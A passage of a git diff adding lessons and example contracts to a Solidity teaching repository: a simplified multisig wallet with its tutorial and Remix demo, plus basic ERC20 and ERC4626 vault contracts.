owner + uint256 public ownerCount; // the count of multisig owners + uint256 public threshold; // minimum number of signatures required for multisig execution + uint256 public nonce; // nonce,prevent signature replay attack + + receive() external payable {} + + // 构造函数,初始化owners, isOwner, ownerCount, threshold + // constructor, initializes owners, isOwner, ownerCount, threshold + constructor(address[] memory _owners, uint256 _threshold) { + _setupOwners(_owners, _threshold); + } + + /// @dev Initialize owners, isOwner, ownerCount, threshold + /// @param _owners: Array of multisig owners + /// @param _threshold: Minimum number of signatures required for multisig execution + function _setupOwners( + address[] memory _owners, + uint256 _threshold + ) internal { + // If threshold was not initialized + require(threshold == 0, "WTF5000"); + // multisig execution threshold is less than the number of multisig owners + require(_threshold <= _owners.length, "WTF5001"); + // multisig execution threshold is at least 1 + require(_threshold >= 1, "WTF5002"); + + for (uint256 i = 0; i < _owners.length; i++) { + address owner = _owners[i]; + // multisig owners cannot be zero address, contract address, and cannot be repeated + require( + owner != address(0) && + owner != address(this) && + !isOwner[owner], + "WTF5003" + ); + owners.push(owner); + isOwner[owner] = true; + } + ownerCount = _owners.length; + threshold = _threshold; + } + + /// @dev After collecting enough signatures from the multisig, execute transaction + /// @param to Target contract address + /// @param value msg.value, ether paid + /// @param data calldata + /// @param signatures packed signatures, corresponding to the multisig address in ascending order, for easy checking ({bytes32 r}{bytes32 s}{uint8 v}) (signature of the first multisig, signature of the second multisig...) + function execTransaction( + address to, + uint256 value, + bytes memory data, + bytes memory signatures + ) public payable virtual returns (bool success) { + // Encode transaction data and compute hash + bytes32 txHash = encodeTransactionData( + to, + value, + data, + nonce, + block.chainid + ); + // Increase nonce + nonce++; + // Check signatures + checkSignatures(txHash, signatures); + // Execute transaction using call and get transaction result + (success, ) = to.call{value: value}(data); + require(success, "WTF5004"); + if (success) emit ExecutionSuccess(txHash); + else emit ExecutionFailure(txHash); + } + + /** + * @dev checks if the hash of the signature and transaction data matches. if signature is invalid, transaction will revert + * @param dataHash hash of transaction data + * @param signatures bundles multiple multisig signature together + */ + function checkSignatures( + bytes32 dataHash, + bytes memory signatures + ) public view { + // get multisig threshold + uint256 _threshold = threshold; + require(_threshold > 0, "WTF5005"); + + // checks if signature length is enough + require(signatures.length >= _threshold * 65, "WTF5006"); + + // checks if collected signatures are valid + // procedure: + // 1. use ECDSA to verify if signatures are valid + // 2. use currentOwner > lastOwner to make sure that signatures are from different multisig owners + // 3. use isOwner[currentOwner] to make sure that current signature is from a multisig owner + address lastOwner = address(0); + address currentOwner; + uint8 v; + bytes32 r; + bytes32 s; + uint256 i; + for (i = 0; i < _threshold; i++) { + (v, r, s) = signatureSplit(signatures, i); + // use ECDSA to verify if signature is valid + currentOwner = ecrecover( + keccak256( + abi.encodePacked( + "\x19Ethereum Signed Message:\n32", + dataHash + ) + ), + v, + r, + s + ); + require( + currentOwner > lastOwner && isOwner[currentOwner], + "WTF5007" + ); + lastOwner = currentOwner; + } + } + + /// split a single signature from a packed signature. + /// @param signatures Packed signatures. + /// @param pos Index of the multisig. + function signatureSplit( + bytes memory signatures, + uint256 pos + ) internal pure returns (uint8 v, bytes32 r, bytes32 s) { + // signature format: {bytes32 r}{bytes32 s}{uint8 v} + assembly { + let signaturePos := mul(0x41, pos) + r := mload(add(signatures, add(signaturePos, 0x20))) + s := mload(add(signatures, add(signaturePos, 0x40))) + v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff) + } + } + + /// @dev hash transaction data + /// @param to target contract's address + /// @param value msg.value eth to be paid + /// @param data calldata + /// @param _nonce nonce of the transaction + /// @param chainid chainid + /// @return bytes of transaction hash + function encodeTransactionData( + address to, + uint256 value, + bytes memory data, + uint256 _nonce, + uint256 chainid + ) public pure returns (bytes32) { + bytes32 safeTxHash = keccak256( + abi.encode(to, value, keccak256(data), _nonce, chainid) + ); + return safeTxHash; + } +} diff --git a/SolidityBasics_Part3_Applications/step20/img/50-1.png b/SolidityBasics_Part3_Applications/step20/img/50-1.png new file mode 100644 index 000000000..12fb68b8e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-1.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-2.png b/SolidityBasics_Part3_Applications/step20/img/50-2.png new file mode 100644 index 000000000..d9875703f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-2.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-3.png b/SolidityBasics_Part3_Applications/step20/img/50-3.png new file mode 100644 index 000000000..f8a3d4e25 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-3.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-4.png b/SolidityBasics_Part3_Applications/step20/img/50-4.png new file mode 100644 index 000000000..fe88c5a9e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-4.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-5-1.png b/SolidityBasics_Part3_Applications/step20/img/50-5-1.png new file mode 100644 index 000000000..ee0d87a6e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-5-1.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-5-2.png b/SolidityBasics_Part3_Applications/step20/img/50-5-2.png new file mode 100644 index 000000000..8de154365 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-5-2.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-5-3.png b/SolidityBasics_Part3_Applications/step20/img/50-5-3.png new file mode 100644 index 000000000..3d0db2b62 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-5-3.png differ diff --git a/SolidityBasics_Part3_Applications/step20/img/50-6.png b/SolidityBasics_Part3_Applications/step20/img/50-6.png new file mode 100644 index 000000000..64630d2d8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step20/img/50-6.png differ diff --git a/SolidityBasics_Part3_Applications/step20/step1.md b/SolidityBasics_Part3_Applications/step20/step1.md new file mode 100644 index 000000000..b1f090476 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step20/step1.md @@ -0,0 +1,308 @@ +--- +title: 50. Multisignature Wallet +tags: + - Solidity + - call + - signature + - ABI encoding + +--- + +# WTF Solidity Crash Course: 50. Multisignature Wallet + +I am currently relearning Solidity to solidify some of the details and create a "WTF Solidity Crash Course" for beginners (advanced programmers may want to find another tutorial). I will update 1-3 lessons weekly. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on Github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Vitalik once said that a multisig wallet is safer than a hardware wallet ([tweet](https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&t=4WyoEWhwHNUtAuABEIlcRw)). In this lesson, we'll introduce multisig wallets and write a simple version of a multisig wallet contract. The teaching code (150 lines of code) is simplified from the Gnosis Safe contract (several thousand lines of code). + +![Vitalik statement](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-1.png) + +## Multisig Wallet + +A multisig wallet is an electronic wallet where transactions require authorization from multiple private key holders (multisig owners) before they can be executed. For example, if a wallet is managed by three multisig owners, each transaction requires authorization from at least two of them. Multisig wallets can prevent single-point failure (loss of private keys, individual misbehavior), have greater decentralized characteristics, and provide increased security. It is used by many DAOs. + +Gnosis Safe is the most popular multisig wallet on Ethereum, managing nearly $40 billion in assets. The contract has undergone auditing and practical testing, supports multiple chains (Ethereum, BSC, Polygon, etc.), and provides comprehensive DAPP support. For more information, you can read the [Gnosis Safe tutorial](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s) I wrote in December 2021. + +## Multisig Wallet Contract + +A multisig wallet on Ethereum is actually a smart contract, and it is a contract wallet. We'll write a simple version of the MultisigWallet contract, which has a simple logic: + +1. Set multisig owners and threshold (on-chain): When deploying a multisig contract, we need to initialize a list of multisig owners and the execution threshold (at least n multisig owners need to sign and authorize a transaction before it can be executed). Gnosis Safe supports adding/removing multisig owners and changing the execution threshold, but we will not consider this feature in our simplified version. + +2. Create transactions (off-chain): A transaction waiting for authorization contains the following information: + - `to`: Target contract. + - `value`: The amount of Ether sent in the transaction. + - `data`: Calldata, which contains the function selector and parameters for the function call. + - `nonce`: Initially set to `0`, the value of the nonce increases with each successfully executed transaction of the multisig contract, which can prevent replay attacks. + - `chainid`: The chain id helps prevent replay attacks across different chains. + +3. Collect multisig signatures (off-chain): The previous transaction is encoded using ABI and hashed to obtain the transaction hash. Then, the multisig individuals sign it and concatenate the signatures together to obtain the final signed transaction. For those who are not familiar with ABI encoding and hashing, you can refer to the WTF Solidity Tutorial [Lesson 27](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/27_ABIEncode_en/readme.md) and [Lesson 28](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/28_Hash_en/readme.md). + +```solidity +Transaction hash: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66 + +Multisig person A signature: 0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c + +Multisig person B signature: 0x2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b + +Packaged signatures: +0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b +``` + +4. Call the execution function of the multisig contract, verify the signature and execute the transaction (on-chain). If you are not familiar with verifying signatures and executing transactions, you can refer to the WTF Solidity Tutorial [Lesson 22](https://githhttps://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/22_Call_en) and [Lesson 37](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/37_Signature_en). + +### Events + +The `MultisigWallet` contract has two events, `ExecutionSuccess` and `ExecutionFailure`, which are triggered when the transaction is successfully executed or failed, respectively. The parameters are the transaction hash. + +```solidity + event ExecutionSuccess(bytes32 txHash); // succeeded transaction event + event ExecutionFailure(bytes32 txHash); // failed transaction event +``` + +### State Variables + +The `MultisigWallet` contract has five state variables: + + 1. `owners`: An array of multisig owners. + 2. `isOwner`: A mapping from `address` to `bool` which tracks whether an address is a multisig holder. + 3. `ownerCount`: The total number of multisig owners. + 4. `threshold`: The minimum number of multisig owners required to execute a transaction. + 5. `nonce`: Initially set to 0, this variable increments with each successful transaction executed by the multisig contract, which can prevent signature replay attacks. + +```solidity + address[] public owners; // multisig owners array + mapping(address => bool) public isOwner; // check if an address is a multisig owner + uint256 public ownerCount; // the count of multisig owners + uint256 public threshold; // minimum number of signatures required for multisig execution + uint256 public nonce; // nonce,prevent signature replay attack +``` + +### Functions + +The `MultisigWallet` contract has `6` functions: + +1. Constructor: calls `_setupOwners()` to initialize variables related to multisig owners and execution thresholds. + + ```solidity + // constructor, initializes owners, isOwner, ownerCount, threshold + constructor( + address[] memory _owners, + uint256 _threshold + ) { + _setupOwners(_owners, _threshold); + } + ``` + +2. `_setupOwners()`: Called by the constructor during contract deployment to initialize the `owners`, `isOwner`, `ownerCount`, and `threshold` state variables. The passed-in parameters must have a threshold greater than or equal to `1` and less than or equal to the number of multisignature owners. The multisignature addresses cannot be the zero addresses and cannot be duplicated. + +```solidity +/// @dev Initialize owners, isOwner, ownerCount, threshold +/// @param _owners: Array of multisig owners +/// @param _threshold: Minimum number of signatures required for multisig execution +function _setupOwners(address[] memory _owners, uint256 _threshold) internal { + // If threshold was not initialized + require(threshold == 0, "WTF5000"); + // multisig execution threshold is less than the number of multisig owners + require(_threshold <= _owners.length, "WTF5001"); + // multisig execution threshold is at least 1 + require(_threshold >= 1, "WTF5002"); + + for (uint256 i = 0; i < _owners.length; i++) { + address owner = _owners[i]; + // multisig owners cannot be zero address, contract address, and cannot be repeated + require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003"); + owners.push(owner); + isOwner[owner] = true; + } + ownerCount = _owners.length; + threshold = _threshold; +} +``` + +3. `execTransaction()`: After collecting enough multisig signatures, it verifies the signatures and executes the transaction. The parameters passed in include the target address `to`, the amount of Ethereum sent `value`, the data `data`, and the packaged signatures `signatures`. The packaged signature is the signature of the transaction hash collected by the multisig parties, packaged into a [bytes] data in the order of the multisig owners' addresses from small to large. This step calls `encodeTransactionData()` to encode the transaction and calls `checkSignatures()` to verify the validity of the signatures and whether the number of signatures reaches the execution threshold. + +```solidity +/// @dev After collecting enough signatures from the multisig, execute the transaction +/// @param to Target contract address +/// @param value msg.value, ether paid +/// @param data calldata +/// @param signatures packed signatures, corresponding to the multisig address in ascending order, for easy checking ({bytes32 r}{bytes32 s}{uint8 v}) (signature of the first multisig, signature of the second multisig...) +function execTransaction( + address to, + uint256 value, + bytes memory data, + bytes memory signatures +) public payable virtual returns (bool success) { + // Encode transaction data and compute hash + bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid); + // Increase nonce + nonce++; + // Check signatures + checkSignatures(txHash, signatures); + // Execute transaction using call and get transaction result + (success, ) = to.call{value: value}(data); + require(success , "WTF5004"); + if (success) emit ExecutionSuccess(txHash); + else emit ExecutionFailure(txHash); +} +``` + +4. `checkSignatures()`: checks if the hash of the signature and transaction data matches, and if the number of signatures exceeds the threshold. If not, the transaction will revert. The length of a single signature is 65 bytes, so the length of the packed signatures must be greater than `threshold * 65`. This function roughly works in the following way: + - Get signature address using ECDSA. + - Determine if the signature comes from a different multisignature using `currentOwner > lastOwner` (multisignature addresses increase). + - Determine if the signer is a multisignature holder using `isOwner[currentOwner]`. + + ```solidity + /** + * @dev checks if the hash of the signature and transaction data matches. if signature is invalid, transaction will revert + * @param dataHash hash of transaction data + * @param signatures bundles multiple multisig signature together + */ + function checkSignatures( + bytes32 dataHash, + bytes memory signatures + ) public view { + // get multisig threshold + uint256 _threshold = threshold; + require(_threshold > 0, "WTF5005"); + + // checks if signature length is enough + require(signatures.length >= _threshold * 65, "WTF5006"); + + // checks if collected signatures are valid + // procedure: + // 1. use ECDSA to verify if signatures are valid + // 2. use currentOwner > lastOwner to make sure that signatures are from different multisig owners + // 3. use isOwner[currentOwner] to make sure that current signature is from a multisig owner + address lastOwner = address(0); + address currentOwner; + uint8 v; + bytes32 r; + bytes32 s; + uint256 i; + for (i = 0; i < _threshold; i++) { + (v, r, s) = signatureSplit(signatures, i); + // use ECDSA to verify if signature is valid + currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s); + require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007"); + lastOwner = currentOwner; + } + } + ``` + +5. `signatureSplit()` function: split a single signature from a packed signature. The function takes two arguments: the packed signature `signatures` and the position of the signature to be read `pos`. The function uses inline assembly to split the `r`, `s`, and `v` values of the signature. + +```solidity +/// split a single signature from a packed signature. +/// @param signatures Packed signatures. +/// @param pos Index of the multisig. +function signatureSplit(bytes memory signatures, uint256 pos) + internal + pure + returns ( + uint8 v, + bytes32 r, + bytes32 s + ) +{ + // signature format: {bytes32 r}{bytes32 s}{uint8 v} + assembly { + let signaturePos := mul(0x41, pos) + r := mload(add(signatures, add(signaturePos, 0x20))) + s := mload(add(signatures, add(signaturePos, 0x40))) + v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff) + } +} +``` + +6. `encodeTransactionData()`: Packs and calculates the hash of transaction data using the `abi.encode()` and `keccak256()` functions. This function can calculate the hash of a transaction, then allow the multisig to sign and collect it off-chain, and finally call the `execTransaction()` function to execute it. + + ```solidity + /// @dev hash transaction data + /// @param to target contract's address + /// @param value msg.value eth to be paid + /// @param data calldata + /// @param _nonce nonce of the transaction + /// @param chainid + /// @return bytes of transaction hash + function encodeTransactionData( + address to, + uint256 value, + bytes memory data, + uint256 _nonce, + uint256 chainid + ) public pure returns (bytes32) { + bytes32 safeTxHash = + keccak256( + abi.encode( + to, + value, + keccak256(data), + _nonce, + chainid + ) + ); + return safeTxHash; + } + ``` + +## Demo of `Remix` + +1. Deploy a multisig contract with 2 multisig addresses and set the execution threshold to `2`. + + ```solidity + 多签地址1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + 多签地址2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + ``` + ![Transfer](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-2.png) +2. Transfer `1 ETH` to the multisig contract address. + + ![Transfer](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-3.png) + +3. Call `encodeTransactionData()`, encode and calculate the transaction hash for transferring `1 ETH` to the address of the multisig with index 1. + +```solidity +Parameter +to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +value: 1000000000000000000 +data: 0x +_nonce: 0 +chainid: 1 + +Result +Transaction hash: 0xb43ad6901230f2c59c3f7ef027c9a372f199661c61beeec49ef5a774231fc39b +``` + +![Calculate transaction hash](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-4.png) + +4. Use the note icon next to the ACCOUNT in Remix to sign the transaction. Input the above transaction hash and obtain the signature. Both wallets must be signed. + + ``` + 多签地址1的签名: 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11c + + 多签地址2的签名: 0xbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + + 将两个签名拼接到一起,得到打包签名: 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11cbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + ``` + +![Signature](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-5-1.png) +![Signature](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-5-2.png) +![Signature](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-5-3.png) + +5. Call the `execTransaction()` function to execute the transaction, passing in the transaction parameters from step 3 and the packaged signature as parameters. You can see that the transaction was executed successfully and `ETH` was transferred from the multisig wallet. + + ![Executing multisig wallet transaction](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/50_MultisigWallet_en/step1/img/50-6.png) + +## Summary + +In this lesson, we introduced the concept of a multisig wallet and wrote a minimal implementation of a multisig wallet contract, which is less than 150 lines of code. + +I have had many opportunities to work with multisig wallets. In 2021, I learned about Gnosis Safe and wrote a tutorial on its usage in both Chinese and English because of the creation of the national treasury by PeopleDAO. Afterwards, I was lucky enough to maintain the assets of three treasury multisig wallets and now I am deeply involved in governing Safes as a guardian. I hope that everyone's assets will be even more secure. diff --git a/SolidityBasics_Part3_Applications/step21/ERC20.sol b/SolidityBasics_Part3_Applications/step21/ERC20.sol new file mode 100644 index 000000000..781b76326 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step21/ERC20.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // total supply of token + uint256 public override totalSupply; + string public name; + string public symbol; + + uint8 public decimals = 18; + + // @dev initializes token name and symbol when deploying + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev implements transfer function, token transfer logic + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev implements approve function, token approve logic + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev implements transferFrom function, token transferFrom logic + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev mint token, transfer from 0x0 address to caller's address + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev burn token, transfer from caller's address to 0x0 address + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step21/ERC4626.sol b/SolidityBasics_Part3_Applications/step21/ERC4626.sol new file mode 100644 index 000000000..8702ce5e3 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step21/ERC4626.sol @@ -0,0 +1,181 @@ +// SPDX-License-Identifier: MIT +pragma solidity >=0.8.0; + +import {IERC4626} from "./IERC4626.sol"; +import {ERC20, IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @dev ERC4626 "Tokenized Vaults Standard" contract. + * FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION + */ +contract ERC4626 is ERC20, IERC4626 { + /*////////////////////////////////////////////////////////////// + state variables + //////////////////////////////////////////////////////////////*/ + ERC20 private immutable _asset; // + uint8 private immutable _decimals; + + constructor( + ERC20 asset_, + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) { + _asset = asset_; + _decimals = asset_.decimals(); + + } + + /** @dev See {IERC4626-asset}. */ + function asset() public view virtual override returns (address) { + return address(_asset); + } + + /** + * See {IERC20Metadata-decimals}. + */ + function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) { + return _decimals; + } + + /*////////////////////////////////////////////////////////////// + deposit/withdrawal logic + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-deposit}. */ + function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { + // use previewDeposit() to calculate vault share to be retained + shares = previewDeposit(assets); + + // transfer first then mint, prevent reentrancy attack + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // emit Deposit event + emit Deposit(msg.sender, receiver, assets, shares); + } + + /** @dev See {IERC4626-mint}. */ + function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { + // use previewDeposit() to calculate amount of underlyting asset that needs to be deposited + assets = previewMint(shares); + + // transfer first then mint, prevent reentrancy attack + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // emit Deposit event + emit Deposit(msg.sender, receiver, assets, shares); + + } + + /** @dev See {IERC4626-withdraw}. */ + function withdraw( + uint256 assets, + address receiver, + address owner + ) public virtual returns (uint256 shares) { + // use previewWithdraw() to calculate vault share that will be burnt + shares = previewWithdraw(assets); + + // if caller is not owner, check and update allownance + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // burn first then transfer, prevent reentrancy attack + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // emit Withdraw event + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /** @dev See {IERC4626-redeem}. */ + function redeem( + uint256 shares, + address receiver, + address owner + ) public virtual returns (uint256 assets) { + // use previewRedeem() to calculate the amount of underlying asset that can be redeemed + assets = previewRedeem(shares); + + // if caller is not owner, check and update allownance + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // burn first then transfer, prevent reentrancy attack + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // emit Withdraw event + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /*////////////////////////////////////////////////////////////// + accounting logic + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-totalAssets}. */ + function totalAssets() public view virtual returns (uint256){ + // returns balance of underlying asset for this contract + return _asset.balanceOf(address(this)); + } + + /** @dev See {IERC4626-convertToShares}. */ + function convertToShares(uint256 assets) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // if supply is 0, then mint vault share at 1:1 ratio + // if supply is not 0, then mint vault share at actual ratio + return supply == 0 ? assets : assets * supply / totalAssets(); + } + + /** @dev See {IERC4626-convertToAssets}. */ + function convertToAssets(uint256 shares) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // if supply is 0, then redeem underlying asset at 1:1 ratio + // if supply is not 0, then redeem underlying asset at actual ratio + return supply == 0 ? shares : shares * totalAssets() / supply; + } + + /** @dev See {IERC4626-previewDeposit}. */ + function previewDeposit(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewMint}. */ + function previewMint(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /** @dev See {IERC4626-previewWithdraw}. */ + function previewWithdraw(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewRedeem}. */ + function previewRedeem(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /*////////////////////////////////////////////////////////////// + DEPOSIT/WITHDRAWAL LIMIT LOGIC + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-maxDeposit}. */ + function maxDeposit(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxMint}. */ + function maxMint(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxWithdraw}. */ + function maxWithdraw(address owner) public view virtual returns (uint256) { + return convertToAssets(balanceOf(owner)); + } + + /** @dev See {IERC4626-maxRedeem}. */ + function maxRedeem(address owner) public view virtual returns (uint256) { + return balanceOf(owner); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step21/IERC4626.sol b/SolidityBasics_Part3_Applications/step21/IERC4626.sol new file mode 100644 index 000000000..8472c8853 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step21/IERC4626.sol @@ -0,0 +1,179 @@ +// SPDX-License-Identifier: MIT +// Author: 0xAA from WTF Academy + +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; + +/** + * @dev ERC4626 "Tokenized Vaults Standard" interface contract + * https://eips.ethereum.org/EIPS/eip-4626. + */ +interface IERC4626 is IERC20, IERC20Metadata { + /*////////////////////////////////////////////////////////////// + event + //////////////////////////////////////////////////////////////*/ + // triggered when depositing + event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); + + // triggered when withdrawing + event Withdraw( + address indexed sender, + address indexed receiver, + address indexed owner, + uint256 assets, + uint256 shares + ); + + /*////////////////////////////////////////////////////////////// + metadata + //////////////////////////////////////////////////////////////*/ + /** + * @dev returns the address of the underlying asset token of the vault (used for deposit and withdrawal) + * - has to be ERC20 token contract address + * - cannot revert + */ + function asset() external view returns (address assetTokenAddress); + + /*////////////////////////////////////////////////////////////// + deposit/withdraw logic + //////////////////////////////////////////////////////////////*/ + /** + * @dev deposit function: user deposit ${assets} units of underlying asset to vault, + * and the contract mints ${shares} unit vault share to receiver's address + * + * - has to emit Deposit event + * - if asset cannot be deposited succuessfully, must revert. e.g. when deposit amount exceeds limit + */ + function deposit(uint256 assets, address receiver) external returns (uint256 shares); + + /** + * @dev mint function: users deposit ${assets} units of the underlying asset + * and the contract mints the corresponding amount of the vault's shares to the receiver's address + * - has to emit Deposit event + * - if it cannot mint, must revert. e.g. minting amount exceeds limit + */ + function mint(uint256 shares, address receiver) external returns (uint256 assets); + + /** + * @dev withdraw function: owner address burns ${share} units of the vault's shares, + * and the contract transfers the corresponding amount of the underlying asset to the receiver address + * + * - emit Withdraw event + * - if all assets cannot be withdrew, it will revert + */ + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); + + /** + * @dev redeem function: owner address burns ${share} units of the vault's shares, + * and the contract transfers the corresponding amount of the underlying asset to the receiver address + * + * - emit Withdraw event + * - if vault's share cannot be redeemed, then revert + */ + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + Accounting Logic + //////////////////////////////////////////////////////////////*/ + + /** + * @dev returns the total amount of underlying asset tokens managed in the vault + * + * - include interest + * - include fee + * - cannot revert + */ + function totalAssets() external view returns (uint256 totalManagedAssets); + + /** + * @dev returns the amount of vault shares that can be obtained by using a certain amount of the underlying asset + + * - do not include fee + * - do not include slippage + * - cannot revert + */ + function convertToShares(uint256 assets) external view returns (uint256 shares); + + /** + * @dev returns the amount of underlying asset that can be obtained by using a certain amount of vault shares + * + * - do not include fee + * - do not include slippage + * - cannot revert + */ + function convertToAssets(uint256 shares) external view returns (uint256 assets); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of vault shares they can obtain by depositing a certain amount of the underlying asset in the current on-chain environment + * + * - the return value should be close to and not greater than the vault amount obtained by depositing in the same transaction + * - do not consider about restrictions like maxDeposit, assume that user deposit will succeed + * - consider fee + * - cannot revert + * NOTE: use the difference of the return values of convertToAssets and previewDeposit to calculate slippage + */ + function previewDeposit(uint256 assets) external view returns (uint256 